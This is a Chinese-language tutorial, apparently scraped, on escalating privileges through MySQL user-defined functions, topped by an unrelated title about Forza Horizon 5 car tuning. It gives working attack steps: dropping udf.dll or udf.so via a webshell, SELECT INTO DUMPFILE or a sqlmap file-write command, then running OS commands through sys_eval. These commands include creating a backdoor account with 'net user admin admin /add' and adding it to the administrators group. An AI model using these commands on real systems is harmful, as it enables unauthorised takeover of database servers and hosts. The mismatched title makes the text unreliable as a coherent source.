《極限競速地平線5》S3冬季賽車輛調校參考
0x01 UDF#
UDF(user defined function)使用者自定義函式,是mysql的一個拓展介面。使用者可以通過自定義函式實現在mysql中無法方便實現的功能,其新增的新函式都可以在sql語句中呼叫,就像呼叫本機函式一樣。
0x02 windows下udf提權的條件#
- 如果mysql版本大於5.1,udf.dll檔案必須放置在mysql安裝目錄的lib\plugin資料夾下/
- 如果mysql版本小於5.1, udf.dll檔案在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。
- 掌握mysql資料庫的賬戶,從擁有對mysql的insert和delete許可權,以建立和拋棄函式。
- 擁有可以將udf.dll寫入相應目錄的許可權。
0x03 提權方法#
如果是mysql5.1及以上版本,必須要把udf.dll檔案放到mysql安裝目錄的lib\plugin資料夾下才能建立自定義函式。該目錄預設是不存在的,需要使用webshell找到mysql的安裝目錄,並在安裝目錄下建立lib\plugin資料夾,然後將udf.dll檔案匯出到該目錄。
在sqlmap中可以匯入udf
複製到新建目錄
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享庫檔案建立儲存過程
成功執行命令,可以看到當前許可權為administrator
刪除該函式
參考
https://www.cnblogs.com/sijidou/p/10522972.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355
注意:
把dll檔案放入到特定的“資料夾”下方式有很多種:
方式a.如何你有webshell或有能操作檔案的任何方式(比如遠端登入),直接把dll檔案放入特定資料夾下。檔名可以自定義,比如我喜歡命名為“udf.dll”。比如用“菜刀”操作檔案
udf.dll檔案下載連結:
方式b.也可以使用sql語句匯入(寫)一個dll檔案。(只有sql語句執行許可權最適合用此方法),下面的文章就是使用了此方法!
mysql udf提權實戰測試
根據前天對大牛們的資料學習,進行一次mysql udf提權測試。
測試環境:
受害者系統:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128
攻擊者系統:centos7.7,安裝mysq client 5.7,IP:192.168.226.129
攻擊者連線至mysql後,使用SQL語句檢查相關的路徑及許可權
show variables like "%plugin%";
show variables like "%secure_file%";
攻擊者系統
剛安裝好的mysql時,secure_file_priv是有一個指定路徑,而且並不在/usr/lib/mysql/下,則無法寫入udf檔案。手動在受害者所在系統/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,則新增secure_file_priv=
受攻擊系統的mysqld.conf
提權測試:
將udf十六進位制匯入查檢目錄中,先設定udf變數
mysql> set @a=unhex('udf十六進位制編碼,詳見下文');
mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';
上傳外掛
*************也可以使用sqlmap進行上傳so檔案:
python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"
引用方法,成功執行系統命令:
mysql> select * from func;
mysql> create function sys_eval returns string soname 'udf.so';
mysql> select sys_eval('whoami');
命令執行成功-whami
<進一步的許可權提升及持久化,需要繼續學習研究>
==》要使用net user add 才可以最終提權!!!如下:
3.使用自定義的函式。
我們可以使用如下命令來執行系統命令
select sys_eval('系統命令');
例如我們執行如下命令:
select sys_eval('net user admin admin /add');
就會發現新建了一個使用者-admin
有些人對於UDF提權有一些錯誤的認知。認為UDF提權只是影響windows和mysql。但UDF(使用者自定義函式)不僅僅是影響著Windows系統,也影響Linux系統。不僅僅影響Mysql,也影響Postgrepsql。
=============================
9.通過cmd function進行提權。
命令:
selectcmdshell('netuserxx/add');
selectcmdshell('netlocalgroupadministratorsx/add');
10.遠端到主機
11.檢視管理員組